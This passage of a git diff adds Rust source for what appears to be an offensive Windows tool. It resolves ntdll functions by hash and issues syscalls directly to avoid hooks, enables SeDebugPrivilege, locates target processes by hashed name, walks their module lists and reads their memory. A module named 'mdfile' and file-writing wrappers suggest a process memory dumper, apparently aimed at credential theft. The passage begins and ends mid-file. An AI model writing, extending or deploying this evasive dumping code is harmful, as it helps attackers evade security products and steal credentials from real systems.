+ instance.ntdll.nt_allocate_virtual_memory.syscall.number = + get_ssn(instance.ntdll.nt_allocate_virtual_memory.syscall.address); + + // NtFreeVirtualMemory + instance.ntdll.nt_free_virtual_memory.syscall.address = ldr_function( + instance.ntdll.module_base, + instance.ntdll.nt_free_virtual_memory.syscall.hash, + ); + instance.ntdll.nt_free_virtual_memory.syscall.number = + get_ssn(instance.ntdll.nt_free_virtual_memory.syscall.address); + + // NtReadVirtualMemory + instance.ntdll.nt_read_virtual_memory.syscall.address = ldr_function( + instance.ntdll.module_base, + instance.ntdll.nt_read_virtual_memory.syscall.hash, + ); + instance.ntdll.nt_read_virtual_memory.syscall.number = + get_ssn(instance.ntdll.nt_read_virtual_memory.syscall.address); + + // NtQueryVirtualMemory + instance.ntdll.nt_query_virtual_memory.syscall.address = ldr_function( + instance.ntdll.module_base, + instance.ntdll.nt_query_virtual_memory.syscall.hash, + ); + instance.ntdll.nt_query_virtual_memory.syscall.number = + get_ssn(instance.ntdll.nt_query_virtual_memory.syscall.address); + + // NtOpenProcess + instance.ntdll.nt_open_process.syscall.address = ldr_function( + instance.ntdll.module_base, + instance.ntdll.nt_open_process.syscall.hash, + ); + instance.ntdll.nt_open_process.syscall.number = + get_ssn(instance.ntdll.nt_open_process.syscall.address); + + // NtQuerySystemInformation + instance.ntdll.nt_query_system_information.syscall.address = ldr_function( + instance.ntdll.module_base, + instance.ntdll.nt_query_system_information.syscall.hash, + ); + instance.ntdll.nt_query_system_information.syscall.number = + get_ssn(instance.ntdll.nt_query_system_information.syscall.address); + + // NtQueryInformationProcess + instance.ntdll.nt_query_information_process.syscall.address = ldr_function( + instance.ntdll.module_base, + instance.ntdll.nt_query_information_process.syscall.hash, + ); + instance.ntdll.nt_query_information_process.syscall.number = + get_ssn(instance.ntdll.nt_query_information_process.syscall.address); + + // NtCreateFile + instance.ntdll.nt_create_file.syscall.address = ldr_function( + instance.ntdll.module_base, + instance.ntdll.nt_create_file.syscall.hash, + ); + instance.ntdll.nt_create_file.syscall.number = + get_ssn(instance.ntdll.nt_create_file.syscall.address); + + // NtWriteFile + instance.ntdll.nt_write_file.syscall.address = ldr_function( + instance.ntdll.module_base, + instance.ntdll.nt_write_file.syscall.hash, + ); + instance.ntdll.nt_write_file.syscall.number = + get_ssn(instance.ntdll.nt_write_file.syscall.address); + + // NtClose + instance.ntdll.nt_close.syscall.address = ldr_function( + instance.ntdll.module_base, + instance.ntdll.nt_close.syscall.hash, + ); + instance.ntdll.nt_close.syscall.number = get_ssn(instance.ntdll.nt_close.syscall.address); + + // NtOpenProcessToken + instance.ntdll.nt_open_process_token.syscall.address = ldr_function( + instance.ntdll.module_base, + instance.ntdll.nt_open_process_token.syscall.hash, + ); + instance.ntdll.nt_open_process_token.syscall.number = + get_ssn(instance.ntdll.nt_open_process_token.syscall.address); + + // NtAdjustPrivilegesToken + instance.ntdll.nt_adjust_privileges_token.syscall.address = ldr_function( + instance.ntdll.module_base, + instance.ntdll.nt_adjust_privileges_token.syscall.hash, + ); + instance.ntdll.nt_adjust_privileges_token.syscall.number = + get_ssn(instance.ntdll.nt_adjust_privileges_token.syscall.address); + + *INSTANCE.get() = Some(instance); + + // Set the initialization flag to true. + INIT_INSTANCE.store(true, Ordering::Release); + } +} diff --git a/src/ntapi/memory.rs b/src/ntapi/memory.rs new file mode 100644 index 0000000..cb7d5e1 --- /dev/null +++ b/src/ntapi/memory.rs @@ -0,0 +1,249 @@ +#[cfg(feature = "verbose")] +use libc_print::libc_println; + +use alloc::string::String; +use alloc::vec; +use alloc::vec::Vec; +use core::ffi::c_void; + +use crate::{ + common::utils::dbj2_hash, + debug_println, + mdfile::ModuleInfo, + ntapi::def::{MemoryBasicInformation, ProcessBasicInformation}, +}; + +use super::g_instance::instance; + +/// Reads memory from a remote process into a buffer. +/// +/// Takes a process handle, an address, and the size of the memory to read. +/// Returns a `Vec` containing the memory contents, or `None` if reading fails. +pub fn read_memory( + process_handle: *mut c_void, + address: *mut c_void, + size: usize, +) -> Option> { + // Allocate a buffer for the memory to be read. + let mut buffer = vec![0u8; size]; + let mut bytes_read: usize = 0; + + // Perform the memory read operation using the NT API. + let result = unsafe { + instance().ntdll.nt_read_virtual_memory.run( + process_handle, + address, + buffer.as_mut_ptr() as *mut c_void, + size, + &mut bytes_read, + ) + }; + + // Return the buffer if successful, otherwise return None. + if result == 0 && bytes_read > 0 { + Some(buffer) + } else { + None + } +} + +/// Queries information about a memory region in a remote process. +/// +/// Returns a `MemoryBasicInformation` struct containing details about the memory region, +/// or `None` if querying fails. +pub fn query_memory_info( + process_handle: *mut c_void, + base_address: *mut c_void, +) -> Option { + let mut mem_info: MemoryBasicInformation = unsafe { core::mem::zeroed() }; + + // Query memory information for the given address in the remote process. + let result = unsafe { + instance().ntdll.nt_query_virtual_memory.run( + process_handle, + base_address, + 0, + &mut mem_info as *mut _ as *mut c_void, + core::mem::size_of::() as usize, + core::ptr::null_mut(), + ) + }; + + // Return memory information if successful, otherwise return None. + if result == 0 { + Some(mem_info) + } else { + None + } +} + +/// Reads a wide string (UTF-16) from a remote process's memory. +/// +/// Converts the UTF-16 encoded string from the remote process into a `String` and returns it. +/// If reading fails or the string is invalid, returns an empty `String`. +pub fn read_remote_wstr(process_handle: *mut c_void, mem_address: *mut c_void) -> String { + let mut buffer = vec![0u8; 512]; // Buffer for reading memory. + let mut bytes_read: usize = 0; + + // Read memory from the remote process. + let status = unsafe { + instance().ntdll.nt_read_virtual_memory.run( + process_handle, + mem_address, + buffer.as_mut_ptr() as *mut c_void, + buffer.len(), + &mut bytes_read, + ) + }; + + if status == 0 { + let mut u16_vec = Vec::new(); + // Process the buffer in chunks of 2 bytes (for UTF-16 encoding). + for chunk in buffer.chunks(2) { + if chunk.len() < 2 { + break; + } + let word = u16::from_le_bytes([chunk[0], chunk[1]]); + if word == 0 { + break; + } + u16_vec.push(word); + } + // Convert the UTF-16 data into a Rust String. + String::from_utf16(&u16_vec).unwrap_or_else(|_| String::new()) + } else { + String::new() + } +} + +/// Reads a pointer-sized integer from a remote process's memory. +/// +/// Returns the integer value read from the memory address in the remote process, +/// or `0` if the read operation fails. +pub fn read_remote_int_ptr(process_handle: *mut c_void, mem_address: *mut c_void) -> usize { + let mut buffer = [0u8; 8]; // Buffer for reading an integer (64 bits). + let mut bytes_read: usize = 0; + + // Read the pointer-sized integer from the remote process. + let status = unsafe { + instance().ntdll.nt_read_virtual_memory.run( + process_handle, + mem_address, + buffer.as_mut_ptr() as *mut c_void, + buffer.len(), + &mut bytes_read, + ) + }; + + // Convert the bytes into a 64-bit unsigned integer and return it as usize. + if status == 0 { + let value = u64::from_le_bytes(buffer); + value as usize + } else { + 0 + } +} + +/// Retrieves the list of loaded modules in a process's memory. +/// +/// Uses the process handle to query the PEB (Process Environment Block) and retrieves +/// information about the loaded modules in the process. Optionally filters modules by a hash. +pub fn get_modules_info(process_handle: *mut c_void, module_hash: Option) -> Vec { + let mut process_information: ProcessBasicInformation = unsafe { core::mem::zeroed() }; + let mut return_length: u32 = 0; + + // Query the process information to get the PEB base address. + let status = unsafe { + instance().ntdll.nt_query_information_process.run( + process_handle as *mut c_void, + 0, // ProcessBasicInformation + &mut process_information as *mut _ as *mut c_void, + core::mem::size_of::() as u32, + &mut return_length, + ) + }; + + if status != 0 { + panic!("[-] Failed to query process information."); + } + + debug_println!( + "[+] PEB Base Address: 0x{:x}", + process_information.peb_base_address as usize + ); + + // Compute the address of the loader's data structure from the PEB. + let ldr_offset = 0x18; + let ldr_pointer = (process_information.peb_base_address as usize + ldr_offset) as *mut c_void; + let ldr_address = read_remote_int_ptr(process_handle, ldr_pointer); + + // Get the address of the module list from the loader data. + let in_initialization_order_module_list_offset = 0x30; + let module_list_address = + (ldr_address + in_initialization_order_module_list_offset) as *mut c_void; + let mut next_flink = read_remote_int_ptr(process_handle, module_list_address); + + // Offsets within the LDR module structure. + let flink_dllbase_offset = 0x20; + let flink_buffer_fulldllname_offset = 0x40; + let flink_buffer_offset = 0x50; + + let mut module_info_arr: Vec = Vec::new(); + let mut dll_base = 1337; + + // Loop through the module list until the base address is zero. + while dll_base != 0 { + next_flink -= 0x10; + + // Read the base address of the module. + dll_base = read_remote_int_ptr( + process_handle, + (next_flink + flink_dllbase_offset) as *mut c_void, + ); + if dll_base == 0 { + break; + } + + // Read the base and full DLL names from memory. + let base_dll_name_ptr = read_remote_int_ptr( + process_handle, + (next_flink + flink_buffer_offset) as *mut c_void, + ) as *mut c_void; + let base_dll_name = read_remote_wstr(process_handle, base_dll_name_ptr); + + let full_dll_name_ptr = read_remote_int_ptr( + process_handle, + (next_flink + flink_buffer_fulldllname_offset) as *mut c_void, + ) as *mut c_void; + let full_dll_name = read_remote_wstr(process_handle, full_dll_name_ptr); + + // If a module hash is provided, filter by hash; otherwise, include all modules. + match module_hash { + Some(value) => { + if value == dbj2_hash(base_dll_name.clone().as_bytes()) { + module_info_arr.push(ModuleInfo { + base_name: base_dll_name, + full_dll_name, + base_address: dll_base, + region_size: 0, + }); + + break; // Stop searching after finding the matching module. + } + } + None => { + module_info_arr.push(ModuleInfo { + base_name: base_dll_name, + full_dll_name, + base_address: dll_base, + region_size: 0, + }); + } + } + + // Move to the next module in the list. + next_flink = read_remote_int_ptr(process_handle, (next_flink + 0x10) as *mut c_void); + } + + module_info_arr +} diff --git a/src/ntapi/mod.rs b/src/ntapi/mod.rs new file mode 100644 index 0000000..68570ad --- /dev/null +++ b/src/ntapi/mod.rs @@ -0,0 +1,12 @@ +#[cfg(not(feature = "remote"))] +pub mod file; + +pub mod allocator; +pub mod def; +pub mod g_instance; +pub mod memory; +pub mod privilege; +pub mod process; +pub mod syscall; +pub mod syscall_gate; +pub mod utils; diff --git a/src/ntapi/privilege.rs b/src/ntapi/privilege.rs new file mode 100644 index 0000000..62bf0a4 --- /dev/null +++ b/src/ntapi/privilege.rs @@ -0,0 +1,66 @@ +#[cfg(feature = "verbose")] +use libc_print::libc_println; + +use core::{ffi::c_void, ptr::null_mut}; + +use crate::debug_println; + +use super::{ + def::{TokenPrivileges, LUID}, + g_instance::instance, +}; + +/// This function enables the SeDebugPrivilege privilege using the NT API. +pub unsafe fn enable_se_debug_privilege() -> i32 { + const TOKEN_ADJUST_PRIVILEGES: u32 = 32u32; + const TOKEN_QUERY: u32 = 8u32; + + let current_process_handle = -1isize as *mut c_void; + let mut token_handle: *mut c_void = null_mut(); + + // Open the process token. + let ntstatus = instance().ntdll.nt_open_process_token.run( + current_process_handle, + TOKEN_QUERY | TOKEN_ADJUST_PRIVILEGES, + &mut token_handle, + ); + + if ntstatus != 0 { + debug_println!( + "[-] Error calling NtOpenProcessToken. NTSTATUS: 0x{:X}", + ntstatus + ); + return ntstatus; + } + + let luid = LUID { + low_part: 20, + high_part: 0, + }; + + let mut token_privileges = TokenPrivileges { + privilege_count: 1, + luid: luid, + attributes: 0x00000002, + }; + + // Adjust token privileges to enable SeDebugPrivilege. + let ntstatus = instance().ntdll.nt_adjust_privileges_token.run( + token_handle, + false, + &mut token_privileges, + core::mem::size_of::() as u32, + null_mut(), + null_mut(), + ); + + if ntstatus != 0 { + debug_println!( + "[-] Error calling NtAdjustPrivilegesToken. NTSTATUS: 0x{:X}", + ntstatus + ); + return ntstatus; + } + + ntstatus +} diff --git a/src/ntapi/process.rs b/src/ntapi/process.rs new file mode 100644 index 0000000..ee04ed9 --- /dev/null +++ b/src/ntapi/process.rs @@ -0,0 +1,149 @@ +#[cfg(feature = "verbose")] +use libc_print::libc_println; + +use alloc::vec::Vec; +use core::{ffi::c_void, ptr::null_mut}; + +use crate::{common::utils::dbj2_hash, debug_println}; + +use super::{ + def::{ + AccessMask, ClientId, ObjectAttributes, SystemProcessInformation, OBJ_CASE_INSENSITIVE, + STATUS_INFO_LENGTH_MISMATCH, + }, + g_instance::instance, +}; + +/// Takes a snapshot of the currently running processes. +/// +/// This function utilizes the `NtQuerySystemInformation` function from the NT API to retrieve +/// information about all processes currently running on the system. It first determines the necessary +/// buffer size, then allocates memory, and finally retrieves the process information. +pub unsafe fn nt_process_snapshot( + snapshot: &mut *mut SystemProcessInformation, + size: &mut usize, +) -> i32 { + let mut length: u32 = 0; + + // First call to determine the required length of the buffer for process information. + let mut status = + instance() + .ntdll + .nt_query_system_information + .run(5, null_mut(), 0, &mut length); + + // Check if the call returned STATUS_INFO_LENGTH_MISMATCH (expected) or another error. + if status != STATUS_INFO_LENGTH_MISMATCH && status != 0 { + return status; + } + + // Allocate memory for the SystemProcessInformation structure. + let mut buffer = Vec::new(); + buffer.resize(length as usize, 0); + + // Second call to actually retrieve the process information into the allocated buffer. + status = instance().ntdll.nt_query_system_information.run( + 5, + buffer.as_mut_ptr() as *mut c_void, + length, + &mut length, + ); + + // Check if the process information retrieval was successful. + if status != 0 { + return status; + } + + // Cast the buffer to the SystemProcessInformation structure. + *snapshot = buffer.as_mut_ptr() as *mut SystemProcessInformation; + *size = length as usize; + + // Keep the buffer alive by preventing its deallocation. + core::mem::forget(buffer); + + status +} + +/// Retrieves a handle to a process with the specified PID and desired access rights using the NT API. +/// +/// This function opens a handle to a target process by specifying its process ID (PID) and the desired access rights. +/// The syscall `NtOpenProcess` is used to obtain the handle, and the function initializes the required structures +/// (`OBJECT_ATTRIBUTES` and `CLIENT_ID`) needed to make the system call. +pub unsafe fn get_process_handle(pid: i32, desired_access: AccessMask) -> *mut c_void { + let mut process_handle: *mut c_void = null_mut(); + + // Initialize object attributes for the process, setting up the basic structure with default options. + let mut object_attributes = ObjectAttributes::new(); + + ObjectAttributes::initialize( + &mut object_attributes, + null_mut(), // No name for the object. + OBJ_CASE_INSENSITIVE, // Case-insensitive name comparison. + null_mut(), // No root directory. + null_mut(), // No security descriptor. + ); + + // Initialize client ID structure with the target process ID. + let mut client_id = ClientId::new(); + client_id.unique_process = pid as _; + + // Perform a system call to NtOpenProcess to obtain a handle to the specified process. + instance().ntdll.nt_open_process.run( + &mut process_handle, + desired_access, + &mut object_attributes, + &mut client_id as *mut _ as *mut c_void, + ); + + process_handle +} + +/// Retrieves a handle to a process with the specified name hash and desired access rights using the NT API. +/// +/// This function takes a process name hash, searches for its process ID (PID) using the `process_snapshot` function, +/// and then opens a handle to the process using `NtOpenProcess`. +pub unsafe fn get_process_handle_by_name(name: u32, desired_access: AccessMask) -> *mut c_void { + let mut snapshot: *mut SystemProcessInformation = null_mut(); + let mut size: usize = 0; + + // Take a snapshot of all currently running processes. + let status = nt_process_snapshot(&mut snapshot, &mut size); + + if status != 0 { + debug_println!( + "Failed to retrieve process snapshot: NTSTATUS: 0x{:X}", + status + ); + return null_mut(); + } + + let mut current = snapshot; + while !current.is_null() { + // Get the address of the process name. + let name_addr = (*current).image_name.buffer; + let name_len = (*current).image_name.length as usize; + + // Only compare if the process has a name. + if !name_addr.is_null() && name_len > 0 { + // Convert the process name to a byte slice. + let name_slice: &[u8] = core::slice::from_raw_parts(name_addr as _, name_len); + + // Calculate the hash of the process name. + let hash = dbj2_hash(name_slice); + + // If the hash matches the provided hash, open a handle to the process. + if name == hash { + return get_process_handle((*current).unique_process_id as i32, desired_access); + } + } + + // Move to the next process in the list. + if (*current).next_entry_offset == 0 { + break; + } + current = (current as *const u8).add((*current).next_entry_offset as usize) + as *mut SystemProcessInformation; + } + + null_mut() +} diff --git a/src/ntapi/syscall.rs b/src/ntapi/syscall.rs new file mode 100644 index 0000000..1a88ad6 --- /dev/null +++ b/src/ntapi/syscall.rs @@ -0,0 +1,594 @@ +use core::{ + ffi::{c_ulong, c_void}, + ptr::null_mut, +}; + +use crate::{ + ntapi::def::{AccessMask, IoStatusBlock, LargeInteger, ObjectAttributes, UnicodeString}, + run_syscall, +}; + +use super::def::TokenPrivileges; + +pub struct NtSyscall { + /// The number of the syscall + pub number: u16, + /// The address of the syscall + pub address: *mut u8, + /// The hash of the syscall + pub hash: usize, +} + +unsafe impl Sync for NtSyscall {} + +impl NtSyscall { + pub const fn new(hash: usize) -> Self { + NtSyscall { + number: 0, + address: null_mut(), + hash: hash, + } + } +} + +pub struct NtAllocateVirtualMemory { + pub syscall: NtSyscall, +} + +unsafe impl Sync for NtAllocateVirtualMemory {} + +impl NtAllocateVirtualMemory { + pub const fn new() -> Self { + NtAllocateVirtualMemory { + syscall: NtSyscall::new(0xf783b8ec), + } + } +} + +pub struct NtFreeVirtualMemory { + pub syscall: NtSyscall, +} + +unsafe impl Sync for NtFreeVirtualMemory {} + +impl NtFreeVirtualMemory { + pub const fn new() -> Self { + NtFreeVirtualMemory { + syscall: NtSyscall::new(0x2802c609), + } + } +} + +pub struct NtReadVirtualMemory { + pub syscall: NtSyscall, +} + +unsafe impl Sync for NtReadVirtualMemory {} + +impl NtReadVirtualMemory { + pub const fn new() -> Self { + NtReadVirtualMemory { + syscall: NtSyscall::new(0xa3288103), + } + } + + /// Wrapper for the NtReadVirtualMemory syscall. + /// + /// This function reads memory in the virtual address space of a specified process. + /// + /// # Arguments + /// + /// * `[in]` - `process_handle` A handle to the process whose memory is to be read. + /// * `[in]` - `base_address` A pointer to the base address in the specified process from which to read. + /// * `[out]` - `buffer` A pointer to a buffer that receives the contents from the address space of the specified process. + /// * `[in]` - `buffer_size` The number of bytes to be read into the buffer. + /// * `[out, opt]` - `number_of_bytes_read` A pointer to a variable that receives the number of bytes transferred into the buffer. + /// + /// # Returns + /// + /// * `i32` - The NTSTATUS code of the operation. + pub fn run( + &self, + process_handle: *mut c_void, + base_address: *const c_void, + buffer: *mut c_void, + buffer_size: usize, + number_of_bytes_read: *mut usize, + ) -> i32 { + run_syscall!( + self.syscall.number, + self.syscall.address as usize, + process_handle, + base_address, + buffer, + buffer_size, + number_of_bytes_read + ) + } +} + +pub struct NtQueryVirtualMemory { + pub syscall: NtSyscall, +} + +unsafe impl Sync for NtQueryVirtualMemory {} + +impl NtQueryVirtualMemory { + pub const fn new() -> Self { + NtQueryVirtualMemory { + syscall: NtSyscall::new(0x10c0e85d), + } + } + + /// Wrapper for the NtQueryVirtualMemory syscall. + /// + /// This function queries information about the virtual memory of a specified process. + /// + /// # Arguments + /// + /// * `[in]` - `process_handle` A handle to the process whose virtual memory is to be queried. + /// * `[in]` - `base_address` A pointer to the base address in the process's virtual memory space. + /// * `[in]` - `memory_information_class` Specifies the type of information to be queried (e.g., MemoryBasicInformation). + /// * `[out]` - `memory_information` A pointer to a buffer that receives the information about the memory. + /// * `[in]` - `memory_information_length` The size, in bytes, of the buffer pointed to by `memory_information`. + /// * `[out, opt]` - `return_length` A pointer to a variable that receives the number of bytes returned. + /// + /// # Returns + /// + /// * `i32` - The NTSTATUS code of the operation. + pub fn run( + &self, + process_handle: *mut c_void, + base_address: *const c_void, + memory_information_class: u32, + memory_information: *mut c_void, + memory_information_length: usize, + return_length: *mut usize, + ) -> i32 { + run_syscall!( + self.syscall.number, + self.syscall.address as usize, + process_handle, + base_address, + memory_information_class as usize, + memory_information, + memory_information_length, + return_length + ) + } +} + +pub struct NtOpenProcess { + pub syscall: NtSyscall, +} + +unsafe impl Sync for NtOpenProcess {} + +impl NtOpenProcess { + pub const fn new() -> Self { + NtOpenProcess { + syscall: NtSyscall::new(0x4b82f718), + } + } + + /// Wrapper for the NtOpenProcess syscall. + /// + /// # Arguments + /// + /// * `[out]` - `process_handle` A mutable pointer to a handle that will receive the process handle. + /// * `[in]` - `desired_access` The desired access for the process. + /// * `[in]` - `object_attributes` A pointer to the object attributes structure. + /// * `[in, opt]` - `client_id` A pointer to the client ID structure. + /// + /// # Returns + /// + /// * `i32` - The NTSTATUS code of the operation. + pub fn run( + &self, + process_handle: &mut *mut c_void, + desired_access: AccessMask, + object_attributes: &mut ObjectAttributes, + client_id: *mut c_void, + ) -> i32 { + run_syscall!( + self.syscall.number, + self.syscall.address as usize, + process_handle, + desired_access, + object_attributes as *mut _ as *mut c_void, + client_id + ) + } +} + +pub struct NtQuerySystemInformation { + pub syscall: NtSyscall, +} + +unsafe impl Sync for NtQuerySystemInformation {} + +impl NtQuerySystemInformation { + pub const fn new() -> Self { + NtQuerySystemInformation { + syscall: NtSyscall::new(0x7bc23928), + } + } + + /// Wrapper for the NtQuerySystemInformation syscall. + /// + /// # Arguments + /// + /// * `[in]` - `system_information_class` The system information class to be queried. + /// * `[out]` - `system_information` A pointer to a buffer that receives the requested information. + /// * `[in]` - `system_information_length` The size, in bytes, of the buffer pointed to by the `system_information` parameter. + /// * `[out, opt]` - `return_length` A pointer to a variable that receives the size, in bytes, of the data returned. + /// + /// # Returns + /// + /// * `i32` - The NTSTATUS code of the operation. + pub fn run( + &self, + system_information_class: u32, + system_information: *mut c_void, + system_information_length: u32, + return_length: *mut u32, + ) -> i32 { + run_syscall!( + self.syscall.number, + self.syscall.address as usize, + system_information_class, + system_information, + system_information_length, + return_length + ) + } +} + +pub struct NtQueryInformationProcess { + pub syscall: NtSyscall, +} + +unsafe impl Sync for NtQueryInformationProcess {} + +impl NtQueryInformationProcess { + pub const fn new() -> Self { + NtQueryInformationProcess { + syscall: NtSyscall::new(0x8cdc5dc2), + } + } + + /// Wrapper for the NtQueryInformationProcess syscall. + /// + /// # Arguments + /// + /// * `[in]` - `process_handle` A handle to the process. + /// * `[in]` - `process_information_class` The class of information to be queried. + /// * `[out]` - `process_information` A pointer to a buffer that receives the requested information. + /// * `[in]` - `process_information_length` The size, in bytes, of the buffer pointed to by the `process_information` parameter. + /// * `[out, opt]` - `return_length` A pointer to a variable that receives the size, in bytes, of the data returned. + /// + /// # Returns + /// + /// * `i32` - The NTSTATUS code of the operation. + pub fn run( + &self, + process_handle: *mut c_void, + process_information_class: u32, + process_information: *mut c_void, + process_information_length: u32, + return_length: *mut u32, + ) -> i32 { + run_syscall!( + self.syscall.number, + self.syscall.address as usize, + process_handle, + process_information_class, + process_information, + process_information_length, + return_length + ) + } +} + +pub struct NtWriteFile { + pub syscall: NtSyscall, +} + +unsafe impl Sync for NtWriteFile {} + +impl NtWriteFile { + pub const fn new() -> Self { + NtWriteFile { + syscall: NtSyscall::new(0xe0d61db2), + } + } + + /// Wrapper for the NtWriteFile syscall. + /// + /// This function writes data to a file or I/O device. It wraps the NtWriteFile syscall. + /// + /// # Arguments + /// + /// * `[in]` - `file_handle` A handle to the file or I/O device to be written to. + /// * `[in, opt]` - `event` An optional handle to an event object that will be signaled when the operation completes. + /// * `[in, opt]` - `apc_routine` An optional pointer to an APC routine to be called when the operation completes. + /// * `[in, opt]` - `apc_context` An optional pointer to a context for the APC routine. + /// * `[out]` - `io_status_block` A pointer to an IO_STATUS_BLOCK structure that receives the final completion status and information about the operation. + /// * `[in]` - `buffer` A pointer to a buffer that contains the data to be written to the file or device. + /// * `[in]` - `length` The length, in bytes, of the buffer pointed to by the `buffer` parameter. + /// * `[in, opt]` - `byte_offset` A pointer to the byte offset in the file where the operation should begin. If this parameter is `None`, the system writes data to the current file position. + /// * `[in, opt]` - `key` A pointer to a caller-supplied variable to receive the I/O completion key. This parameter is ignored if `event` is not `None`. + /// + /// # Returns + /// + /// * `i32` - The NTSTATUS code of the operation. + #[allow(dead_code)] + pub fn run( + &self, + file_handle: *mut c_void, + event: *mut c_void, + apc_routine: *mut c_void, + apc_context: *mut c_void, + io_status_block: &mut IoStatusBlock, + buffer: *mut c_void, + length: c_ulong, + byte_offset: *mut u64, + key: *mut c_ulong, + ) -> i32 { + run_syscall!( + self.syscall.number, + self.syscall.address as usize, + file_handle, + event, + apc_routine, + apc_context, + io_status_block, + buffer, + length, + byte_offset, + key + ) + } +} + +pub struct NtCreateFile { + pub syscall: NtSyscall, +} + +unsafe impl Sync for NtCreateFile {} + +impl NtCreateFile { + pub const fn new() -> Self { + NtCreateFile { + syscall: NtSyscall::new(0x66163fbb), + } + } + + /// Wrapper for the NtCreateFile syscall. + /// + /// This function creates or opens a file or I/O device. It wraps the NtCreateFile syscall. + /// + /// # Arguments + /// + /// * `[out]` - `file_handle` A mutable pointer to a handle that will receive the file handle. + /// * `[in]` - `desired_access` The access to the file or device, which can be read, write, or both. + /// * `[in]` - `obj_attributes` A pointer to an OBJECT_ATTRIBUTES structure that specifies the object name and other attributes. + /// * `[out]` - `io_status_block` A pointer to an IO_STATUS_BLOCK structure that receives the final completion status and information about the operation. + /// * `[in, opt]` - `allocation_size` A pointer to a LARGE_INTEGER that specifies the initial allocation size in bytes. If this parameter is `None`, the file is allocated with a default size. + /// * `[in]` - `file_attributes` The file attributes for the file or device if it is created. + /// * `[in]` - `share_access` The requested sharing mode of the file or device. + /// * `[in]` - `create_disposition` The action to take depending on whether the file or device already exists. + /// * `[in]` - `create_options` Options to be applied when creating or opening the file or device. + /// * `[in, opt]` - `ea_buffer` A pointer to a buffer that contains the extended attributes (EAs) for the file or device. This parameter is optional. + /// * `[in]` - `ea_length` The length, in bytes, of the EaBuffer parameter. + /// + /// # Returns + /// + /// * `i32` - The NTSTATUS code of the operation. + #[allow(dead_code)] + pub fn run( + &self, + file_handle: &mut *mut c_void, + desired_access: u32, + obj_attributes: &mut ObjectAttributes, + io_status_block: &mut IoStatusBlock, + allocation_size: *mut LargeInteger, + file_attributes: u32, + share_access: u32, + create_disposition: u32, + create_options: u32, + ea_buffer: *mut c_void, + ea_length: u32, + ) -> i32 { + run_syscall!( + self.syscall.number, + self.syscall.address as usize, + file_handle, + desired_access, + obj_attributes, + io_status_block, + allocation_size, + file_attributes, + share_access, + create_disposition, + create_options, + ea_buffer, + ea_length + ) + } +} + +pub struct NtClose { + pub syscall: NtSyscall, +} + +unsafe impl Sync for NtClose {} + +impl NtClose { + pub const fn new() -> Self { + NtClose { + syscall: NtSyscall::new(0x40d6e69d), + } + } + + /// Wrapper function for NtClose to avoid repetitive run_syscall calls. + /// + /// # Arguments + /// + /// * `[in]` - `handle` A handle to an object. This is a required parameter that must be valid. + /// It represents the handle that will be closed by the function. + /// + /// # Returns + /// + /// * `true` if the operation was successful, `false` otherwise. + /// The function returns an NTSTATUS code; however, in this wrapper, the result is simplified to a boolean. + #[allow(dead_code)] + pub fn run(&self, handle: *mut c_void) -> i32 { + run_syscall!(self.syscall.number, self.syscall.address as usize, handle) + } +} + +pub struct NtOpenProcessToken { + pub syscall: NtSyscall, +} + +unsafe impl Sync for NtOpenProcessToken {} + +impl NtOpenProcessToken { + pub const fn new() -> Self { + NtOpenProcessToken { + syscall: NtSyscall::new(0x350dca99), + } + } + + /// Wrapper for the NtOpenProcessToken syscall. + /// + /// # Arguments + /// + /// * `[in]` - `process_handle` The handle of the process whose token is to be opened. + /// * `[in]` - `desired_access` The desired access for the token. + /// * `[out]` - `token_handle` A mutable pointer to a handle that will receive the token handle. + /// + /// # Returns + /// + /// * `i32` - The NTSTATUS code of the operation. + pub fn run( + &self, + process_handle: *mut c_void, + desired_access: AccessMask, + token_handle: &mut *mut c_void, + ) -> i32 { + run_syscall!( + self.syscall.number, + self.syscall.address as usize, + process_handle, + desired_access, + token_handle + ) + } +} + +pub struct NtAdjustPrivilegesToken { + pub syscall: NtSyscall, +} + +unsafe impl Sync for NtAdjustPrivilegesToken {} + +impl NtAdjustPrivilegesToken { + pub const fn new() -> Self { + NtAdjustPrivilegesToken { + syscall: NtSyscall::new(0x2dbc736d), + } + } + /// Wrapper for the NtAdjustPrivilegesToken syscall. + /// + /// # Arguments + /// + /// * `[in]` - `token_handle` The handle of the token to be adjusted. + /// * `[in]` - `disable_all_privileges` Boolean to disable all privileges. + /// * `[in, opt]` - `new_state` A pointer to a TOKEN_PRIVILEGES structure. + /// * `[in]` - `buffer_length` The length of the buffer for previous privileges. + /// * `[out, opt]` - `previous_state` A pointer to a buffer that receives the previous state. + /// * `[out, opt]` - `return_length` A pointer to a variable that receives the length of the previous state. + /// + /// # Returns + /// + /// * `i32` - The NTSTATUS code of the operation. + pub fn run( + &self, + token_handle: *mut c_void, + disable_all_privileges: bool, + new_state: *mut TokenPrivileges, + buffer_length: u32, + previous_state: *mut TokenPrivileges, + return_length: *mut u32, + ) -> i32 { + run_syscall!( + self.syscall.number, + self.syscall.address as usize, + token_handle, + disable_all_privileges as i32, + new_state, + buffer_length, + previous_state, + return_length + ) + } +} + +/// Type definition for the LdrLoadDll function. +/// +/// Loads a DLL into the address space of the calling process. +/// +/// # Parameters +/// - `[in, opt]` - `DllPath`: A pointer to a `UNICODE_STRING` that specifies the fully qualified path of the DLL to load. This can be `NULL`, in which case the system searches for the DLL. +/// - `[in, opt]` - `DllCharacteristics`: A pointer to a variable that specifies the DLL characteristics (optional, can be `NULL`). +/// - `[in]` - `DllName`: A `UNICODE_STRING` that specifies the name of the DLL to load. +/// - `[out]` - `DllHandle`: A pointer to a variable that receives the handle to the loaded DLL. +/// +/// # Returns +/// - `i32` - The NTSTATUS code of the operation. +type LdrLoadDll = unsafe extern "system" fn( + DllPath: *mut u16, + DllCharacteristics: *mut u32, + DllName: UnicodeString, + DllHandle: *mut c_void, +) -> i32; + +pub struct NtDll { + pub module_base: *mut u8, + pub ldr_load_dll: LdrLoadDll, + pub nt_allocate_virtual_memory: NtAllocateVirtualMemory, + pub nt_free_virtual_memory: NtFreeVirtualMemory, + pub nt_read_virtual_memory: NtReadVirtualMemory, + pub nt_query_virtual_memory: NtQueryVirtualMemory, + pub nt_open_process: NtOpenProcess, + pub nt_query_system_information: NtQuerySystemInformation, + pub nt_query_information_process: NtQueryInformationProcess, + pub nt_create_file: NtCreateFile, + pub nt_write_file: NtWriteFile, + pub nt_close: NtClose, + pub nt_open_process_token: NtOpenProcessToken, + pub nt_adjust_privileges_token: NtAdjustPrivilegesToken, +} + +impl NtDll { + pub fn new() -> Self { + NtDll { + module_base: null_mut(), + ldr_load_dll: unsafe { core::mem::transmute(null_mut::()) }, + nt_allocate_virtual_memory: 